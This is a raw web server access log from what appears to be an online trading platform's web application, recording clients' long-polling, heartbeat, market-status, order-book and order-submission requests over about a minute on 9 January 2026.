[09/Jan/2026:15:28:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943995718 HTTP/1.1" -
[09/Jan/2026:15:28:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:28:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943996600 HTTP/1.1" -
[09/Jan/2026:15:28:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:28:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944013889 HTTP/1.1" -
[09/Jan/2026:15:28:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944000058 HTTP/1.1" -
[09/Jan/2026:15:28:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944000773 HTTP/1.1" -
[09/Jan/2026:15:28:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944001728 HTTP/1.1" -
[09/Jan/2026:15:28:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944018960 HTTP/1.1" -
[09/Jan/2026:15:28:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944005097 HTTP/1.1" -
[09/Jan/2026:15:28:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944005817 HTTP/1.1" -
[09/Jan/2026:15:28:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:28:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:28:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:28:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944006994 HTTP/1.1" -
[09/Jan/2026:15:28:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944023993 HTTP/1.1" -
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944010153 HTTP/1.1" -
[09/Jan/2026:15:29:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944010863 HTTP/1.1" -
[09/Jan/2026:15:29:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:29:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1569
[09/Jan/2026:15:29:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944012069 HTTP/1.1" -
[09/Jan/2026:15:29:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944029062 HTTP/1.1" -
[09/Jan/2026:15:29:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:29:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:29:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944015177 HTTP/1.1" -
[09/Jan/2026:15:29:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944015892 HTTP/1.1" -
[09/Jan/2026:15:29:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944017247 HTTP/1.1" -
[09/Jan/2026:15:29:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944034093 HTTP/1.1" -
[09/Jan/2026:15:29:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944020218 HTTP/1.1" -
[09/Jan/2026:15:29:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944020934 HTTP/1.1" -
[09/Jan/2026:15:29:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944022368 HTTP/1.1" -
[09/Jan/2026:15:29:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944039160 HTTP/1.1" -
[09/Jan/2026:15:29:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944025240 HTTP/1.1" -
[09/Jan/2026:15:29:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944026030 HTTP/1.1" -
[09/Jan/2026:15:29:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:29:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:29:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:29:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944027521 HTTP/1.1" -
[09/Jan/2026:15:29:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944044231 HTTP/1.1" -
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944030270 HTTP/1.1" -
[09/Jan/2026:15:29:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944031139 HTTP/1.1" -
[09/Jan/2026:15:29:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:29:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1567
[09/Jan/2026:15:29:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944032662 HTTP/1.1" -
[09/Jan/2026:15:29:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944049306 HTTP/1.1" -
[09/Jan/2026:15:29:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944035316 HTTP/1.1" -
[09/Jan/2026:15:29:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944036181 HTTP/1.1" -
[09/Jan/2026:15:29:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944037810 HTTP/1.1" -
[09/Jan/2026:15:29:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944054364 HTTP/1.1" -
[09/Jan/2026:15:29:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944040354 HTTP/1.1" -
[09/Jan/2026:15:29:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944041221 HTTP/1.1" -
[09/Jan/2026:15:29:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944042857 HTTP/1.1" -
[09/Jan/2026:15:29:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944059435 HTTP/1.1" -
[09/Jan/2026:15:29:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944045377 HTTP/1.1" -
[09/Jan/2026:15:29:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944046387 HTTP/1.1" -
